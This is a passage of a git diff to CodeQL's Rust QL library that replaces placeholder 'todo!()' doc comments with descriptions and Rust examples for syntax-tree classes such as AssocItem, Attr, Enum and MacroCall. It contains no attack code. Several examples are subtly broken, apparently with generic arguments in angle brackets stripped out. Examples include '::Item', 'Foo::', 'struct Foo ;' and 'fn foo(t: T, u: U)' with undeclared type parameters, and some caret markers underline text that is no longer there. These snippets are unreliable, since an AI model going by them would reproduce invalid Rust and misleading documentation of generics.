^^^^^^^^^^^^^^^^^^^^^^ + * ``` + */ class AsmSym extends Generated::AsmSym { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll index d4c871249b4..68e2945d377 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocItem */ module Impl { /** - * A AssocItem. For example: + * An associated item in a `Trait` or `Impl`. + * + * For example: * ```rust - * todo!() + * trait T {fn foo(&self);} + * // ^^^^^^^^^^^^^ * ``` */ class AssocItem extends Generated::AssocItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll index 9cefb4cd2dd..02299ac619c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocItemListImpl.qll @@ -13,7 +13,7 @@ private import codeql.rust.elements.internal.generated.AssocItemList */ module Impl { /** - * A list of `AssocItem` elements, as appearing for example in a `Trait`. + * A list of `AssocItem` elements, as appearing in a `Trait` or `Impl`. */ class AssocItemList extends Generated::AssocItemList { } } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll index 075188ac0bd..8c88fad65a6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AssocTypeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.AssocTypeArg */ module Impl { /** - * A AssocTypeArg. For example: + * An associated type argument in a path. + * + * For example: * ```rust - * todo!() + * ::Item + * // ^^^^ * ``` */ class AssocTypeArg extends Generated::AssocTypeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll index afdac06f558..e01d3c3652e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/AttrImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Attr */ module Impl { /** - * A Attr. For example: + * An attribute applied to an item. + * + * For example: * ```rust - * todo!() + * #[derive(Debug)] + * //^^^^^^^^^^^^^ + * struct S; * ``` */ class Attr extends Generated::Attr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll index e8493543898..dc7bced9889 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ClosureBinderImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ClosureBinder */ module Impl { /** - * A ClosureBinder. For example: + * A closure binder, specifying lifetime or type parameters for a closure. + * + * For example: * ```rust - * todo!() + * for <'a> |x: &'a u32 | x + * // ^^^^^^ * ``` */ class ClosureBinder extends Generated::ClosureBinder { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll index c66296be9c4..7a5a78df17c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstArg */ module Impl { /** - * A ConstArg. For example: + * A constant argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo::<3> + * // ^ * ``` */ class ConstArg extends Generated::ConstArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll index b312e791d5e..d2f3cde2d03 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.Const */ module Impl { /** - * A Const. For example: + * A constant item declaration. + * + * For example: * ```rust - * todo!() + * const X: i32 = 42; * ``` */ class Const extends Generated::Const { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll index 72fcf276947..e4ff7186254 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ConstParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ConstParam */ module Impl { /** - * A ConstParam. For example: + * A constant parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * struct Foo ; + * // ^^^^^^^^^^^^^^ * ``` */ class ConstParam extends Generated::ConstParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll index 0e0337f20aa..eb0e3722e21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/CrateImpl.qll @@ -15,6 +15,13 @@ module Impl { private import codeql.rust.elements.internal.NamedCrate private import codeql.rust.internal.PathResolution + // the following QLdoc is generated: if you need to edit it, do it in the schema file + /** + * A Crate. For example: + * ```rust + * todo!() + * ``` + */ class Crate extends Generated::Crate { override string toStringImpl() { result = strictconcat(int i | | this.toStringPart(i) order by i) diff --git a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll index c9e6bc7ea38..0ea1d4397f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/DynTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.DynTraitTypeRepr */ module Impl { /** - * A DynTraitTypeRepr. For example: + * A dynamic trait object type. + * + * For example: * ```rust - * todo!() + * let x: &dyn Debug; + * // ^^^^^^^^^ * ``` */ class DynTraitTypeRepr extends Generated::DynTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll index 39663b6a0e0..e57a416fa72 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/EnumImpl.qll @@ -15,9 +15,11 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Enum. For example: + * An enum declaration. + * + * For example: * ```rust - * todo!() + * enum E {A, B(i32), C {x: i32}} * ``` */ class Enum extends Generated::Enum { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll index 0bd734b8835..bb60d9c6e66 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternBlockImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ExternBlock */ module Impl { /** - * A ExternBlock. For example: + * An extern block containing foreign function declarations. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * } * ``` */ class ExternBlock extends Generated::ExternBlock { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll index 6c219b20d79..af9e4005b19 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternCrateImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.ExternCrate */ module Impl { /** - * A ExternCrate. For example: + * An extern crate declaration. + * + * For example: * ```rust - * todo!() + * extern crate serde; * ``` */ class ExternCrate extends Generated::ExternCrate { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll index beabbf706ee..ac4f97d3071 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItem */ module Impl { /** - * A ExternItem. For example: + * An item inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItem extends Generated::ExternItem { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll index 255074a9bf9..f2281c5f6d8 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ExternItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ExternItemList */ module Impl { /** - * A ExternItemList. For example: + * A list of items inside an extern block. + * + * For example: * ```rust - * todo!() + * extern "C" { + * fn foo(); + * static BAR: i32; + * } * ``` */ class ExternItemList extends Generated::ExternItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll index 1af239797c0..c10e5790229 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FieldListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.FieldList */ module Impl { /** - * A field of a variant. For example: + * A list of fields in a struct or enum variant. + * + * For example: * ```rust - * todo!() + * struct S {x: i32, y: i32} + * // ^^^^^^^^^^^^^^^^ + * enum E {A(i32, i32)} + * // ^^^^^^^^^^^^^ * ``` */ class FieldList extends Generated::FieldList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll index 3710b4589d5..41d1151ac36 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/FnPtrTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.FnPtrTypeRepr */ module Impl { /** - * A FnPtrTypeRepr. For example: + * A function pointer type. + * + * For example: * ```rust - * todo!() + * let f: fn(i32) -> i32; + * // ^^^^^^^^^^^^^^ * ``` */ class FnPtrTypeRepr extends Generated::FnPtrTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll index b333702c941..2fe247e5e29 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForExprImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.ForExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ class ForExpr extends Generated::ForExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll index 67db6fdcd02..4b985922052 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ForTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ForTypeRepr */ module Impl { /** - * A ForTypeRepr. For example: + * A higher-ranked trait bound(HRTB) type. + * + * For example: * ```rust - * todo!() + * for <'a> fn(&'a str) + * // ^^^^^ * ``` */ class ForTypeRepr extends Generated::ForTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll index 9d9e3561472..88f6a627140 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericArg */ module Impl { /** - * A GenericArg. For example: + * A generic argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo:: + * // ^^^^^^^^^^^ * ``` */ class GenericArg extends Generated::GenericArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll index 28027026ae8..1956046a8dd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/GenericParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.GenericParam */ module Impl { /** - * A GenericParam. For example: + * A generic parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo(t: T, u: U) {} + * // ^ ^ * ``` */ class GenericParam extends Generated::GenericParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll index 7b23a2e854b..298e07f4b3e 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Impl module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Impl. For example: + * An `impl`` block. + * + * For example: * ```rust - * todo!() + * impl MyTrait for MyType { + * fn foo(&self) {} + * } * ``` */ class Impl extends Generated::Impl { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll index 74efa4f2190..6cbaa60da08 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ImplTraitTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ImplTraitTypeRepr */ module Impl { /** - * A ImplTraitTypeRepr. For example: + * An `impl Trait` type. + * + * For example: * ```rust - * todo!() + * fn foo() -> impl Iterator { 0..10 } + * // ^^^^^^^^^^^^^^^^^^^^^^^^^^ * ``` */ class ImplTraitTypeRepr extends Generated::ImplTraitTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll index 1df33c2c3cc..b06339e6bf6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/InferTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.InferTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A InferTypeRepr. For example: + * An inferred type (`_`). + * + * For example: * ```rust - * todo!() + * let x: _ = 42; + * // ^ * ``` */ class InferTypeRepr extends Generated::InferTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll index 1a453671cbf..f211708bc81 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.Item */ module Impl { /** - * A Item. For example: + * An item such as a function, struct, enum, etc. + * + * For example: * ```rust - * todo!() + * fn foo() {} + * struct S; + * enum E {} * ``` */ class Item extends Generated::Item { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll index 668bf039eb6..2d94e6340dd 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ItemListImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.ItemList */ module Impl { /** - * A ItemList. For example: + * A list of items in a module or block. + * + * For example: * ```rust - * todo!() + * mod m { + * fn foo() {} + * struct S; + * } * ``` */ class ItemList extends Generated::ItemList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll index 11643dcbcb4..9a36a8a2808 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LetElseImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.LetElse module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A LetElse. For example: + * An else block in a let-else statement. + * + * For example: * ```rust - * todo!() + * let Some(x) = opt else { + * return; + * }; + * // ^^^^^^ * ``` */ class LetElse extends Generated::LetElse { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll index d4f0373cda3..98bcb5cca21 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeArgImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeArg */ module Impl { /** - * A LifetimeArg. For example: + * A lifetime argument in a generic argument list. + * + * For example: * ```rust - * todo!() + * Foo<'a> + * // ^^ * ``` */ class LifetimeArg extends Generated::LifetimeArg { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll index e15f5733748..1825cf5804d 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Lifetime module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Lifetime. For example: + * A lifetime annotation. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ ^^ * ``` */ class Lifetime extends Generated::Lifetime { diff --git a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll index e4918e4cf56..7db6c5bcb69 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/LifetimeParamImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.LifetimeParam */ module Impl { /** - * A LifetimeParam. For example: + * A lifetime parameter in a generic parameter list. + * + * For example: * ```rust - * todo!() + * fn foo<'a>(x: &'a str) {} + * // ^^ * ``` */ class LifetimeParam extends Generated::LifetimeParam { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll index f8f96315fd4..dacb8b3a707 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroCallImpl.qll @@ -22,9 +22,12 @@ module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); + * //^^^^^^^ * ``` */ class MacroCall extends Generated::MacroCall { diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll index 17d0293b108..da91b4256df 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroDefImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MacroDef */ module Impl { /** - * A MacroDef. For example: + * A macro definition using the `macro_rules!` or similar syntax. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroDef extends Generated::MacroDef { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll index 42c46e9e60b..2dfb6e445ac 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroExprImpl.qll @@ -13,9 +13,11 @@ private import codeql.rust.elements.internal.generated.MacroExpr */ module Impl { /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ class MacroExpr extends Generated::MacroExpr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll index 70c056fa5c1..26f0cd5c7b7 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroPatImpl.qll @@ -13,9 +13,14 @@ private import codeql.rust.elements.internal.generated.MacroPat */ module Impl { /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * match x { + * my_macro!() => "matched", + * _ => "not matched", + * } * ``` */ class MacroPat extends Generated::MacroPat { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll index ca0051dce8d..5d5b45ea84f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroRulesImpl.qll @@ -13,9 +13,13 @@ private import codeql.rust.elements.internal.generated.MacroRules */ module Impl { /** - * A MacroRules. For example: + * A macro definition using the `macro_rules!` syntax. * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * println!("This is a macro!"); + * }; + * } * ``` */ class MacroRules extends Generated::MacroRules { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll index 6ef366ccdfd..de57e6a8226 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MacroTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.MacroTypeRepr */ module Impl { /** - * A MacroTypeRepr. For example: + * A type produced by a macro. + * + * For example: * ```rust - * todo!() + * type T = macro_type!(); + * // ^^^^^^^^^^^^^ * ``` */ class MacroTypeRepr extends Generated::MacroTypeRepr { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll index 5e1ac06282a..6f77dc0b42f 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchArmListImpl.qll @@ -13,9 +13,16 @@ private import codeql.rust.elements.internal.generated.MatchArmList */ module Impl { /** - * A MatchArmList. For example: + * A list of arms in a match expression. + * + * For example: * ```rust - * todo!() + * match x { + * 1 => "one", + * 2 => "two", + * _ => "other", + * } + * // ^^^^^^^^^^^ * ``` */ class MatchArmList extends Generated::MatchArmList { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll index e4bc039ee53..495fcc88ef6 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MatchGuardImpl.qll @@ -13,9 +13,15 @@ private import codeql.rust.elements.internal.generated.MatchGuard */ module Impl { /** - * A MatchGuard. For example: + * A guard condition in a match arm. + * + * For example: * ```rust - * todo!() + * match x { + * y if y > 0 => "positive", + * // ^^^^^^^ + * _ => "non-positive", + * } * ``` */ class MatchGuard extends Generated::MatchGuard { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll index 1e6b30b6249..dd6ad1891c0 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/MetaImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Meta */ module Impl { /** - * A Meta. For example: + * A meta item in an attribute. + * + * For example: * ```rust - * todo!() + * #[cfg(feature = "foo")] + * // ^^^^^^^^^^^^^^^ * ``` */ class Meta extends Generated::Meta { } diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll index 95e2fba9012..9290a1b06de 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.Name module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ class Name extends Generated::Name { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll index 373790de6e4..8f7260bfd08 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NameRefImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NameRef module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NameRef. For example: + * A reference to a name. + * + * For example: * ```rust - * todo!() + * foo(); + * //^^^ * ``` */ class NameRef extends Generated::NameRef { diff --git a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll index aff4282dadb..d8b2270bdc9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/NeverTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.NeverTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A NeverTypeRepr. For example: + * The never type `!`. + * + * For example: * ```rust - * todo!() + * fn foo() -> ! { panic!() } + * // ^ * ``` */ class NeverTypeRepr extends Generated::NeverTypeRepr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll index 297b7f26fad..c0b914c1e3c 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParamListImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParamList module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParamList. For example: + * A list of parameters in a function, method, or closure declaration. + * + * For example: * ```rust - * todo!() + * fn foo(x: i32, y: i32) {} + * // ^^^^^^^^^^^^^ * ``` */ class ParamList extends Generated::ParamList { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll index 42490c5c1cf..e86589b6040 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenExprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenExpr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenExpr. For example: + * A parenthesized expression. + * + * For example: * ```rust - * todo!() + * (x + y) + * //^^^^^ * ``` */ class ParenExpr extends Generated::ParenExpr { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll index a4c6873f214..f6fa342e8f9 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenPatImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenPat module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenPat. For example: + * A parenthesized pattern. + * + * For example: * ```rust - * todo!() + * let (x) = 1; + * // ^^^ * ``` */ class ParenPat extends Generated::ParenPat { diff --git a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll index 98a4ae9b31c..c96bae09eeb 100644 --- a/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll +++ b/rust/ql/lib/codeql/rust/elements/internal/ParenTypeReprImpl.qll @@ -13,9 +13,12 @@ private import codeql.rust.elements.internal.generated.ParenTypeRepr module Impl { // the following QLdoc is generated: if you need to edit it, do it in the schema file /** - * A ParenTypeRepr. For example: + 